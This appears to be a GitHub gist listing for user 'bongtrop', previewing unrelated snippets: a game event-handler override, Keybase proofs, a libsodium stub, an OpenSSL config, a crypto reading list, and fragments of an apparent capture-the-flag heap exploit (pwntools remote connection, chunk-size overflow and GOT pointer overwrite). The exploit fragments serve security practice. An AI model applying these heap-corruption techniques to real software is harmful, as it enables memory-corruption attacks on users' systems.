bongtrop

engineOnEvent=game.engine.onevent;
game.engine.onevent = (e) => {
    let good = true;
    if (e.event && e.event['$case'] == "mapSetNooks") {
        for (const nookId in e.event.mapSetNooks.nooks) {
            const nook = e.event.mapSetNooks.nooks[nookId];
            if (nook['isInMeeting']) {
                game.setMapNooks(e.event.mapSetNooks.mapId, {[nookId]: {'isInMeeting': false}});
                good = false;
                console.log('not good');

bongtrop

Keybase proof

I hereby claim:

• I am bongtrop on github.
• I am bongtrop (https://keybase.io/bongtrop) on keybase.
• I have a public key ASCJeVdKTRLmfRHu6R-aiGQucAYWbSwPlP7RVR1mpIqt8Ao

To claim this, I am signing this object:

bongtrop

package main

import (
	b64 "encoding/base64"
	"fmt"

	"github.com/GoKillers/libsodium-go/cryptobox"
)

func main() {

bongtrop

[ server_cert ]
basicConstraints = CA:FALSE
nsCertType = server
nsComment = "OpenSSL Generated Server Certificate"
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer:always
keyUsage = critical, digitalSignature, keyEncipherment
extendedKeyUsage = serverAuth
subjectAltName = @alt_names

bongtrop

Binary Exploit Training

Tools Installation

First, update repository database.

sudo apt update

bongtrop

Keybase proof

I hereby claim:

• I am bongtrop on github.
• I am bongtrop_sth (https://keybase.io/bongtrop_sth) on keybase.
• I have a public key ASAw5By7TUzeR7gM6D1NxcHYzULOAMOr9i79MfhLz4NZLAo

To claim this, I am signing this object:

bongtrop

from pwn import *
import time

REMOTE = False
DEBUG = False

if REMOTE:
    p = remote("103.55.141.111", 2954)
else:

bongtrop

# align heap
set_cache("a", 24, "a"*24)
set_cache("b", 56, "b"*56)
set_cache("a", 56, "a"*56)
set_cache("c", 56, "c"*56)

# overflow chunk `a` size
set_cache("b", 57, "b"*56 + "\xff")

# overwrite c->data pointer to got for get got table value

bongtrop

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf_len; // rax
  int cmd; // [rsp+4h] [rbp-2Ch]
  char *buf; // [rsp+8h] [rbp-28h]
  char hash_buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  dprintf(1, "Starting MemoryCache...\n", envp);

bongtrop

TODO

The Return of Coppersmith's Attack: Practical Factorization of Widely Used RSA Moduli (Paper)

Conflict-Driven Clause Learning SAT Solvers (Paper)

Conflict Driven Clause Learning (Example)

NTRUEncrypt and Lattice Attack

DONE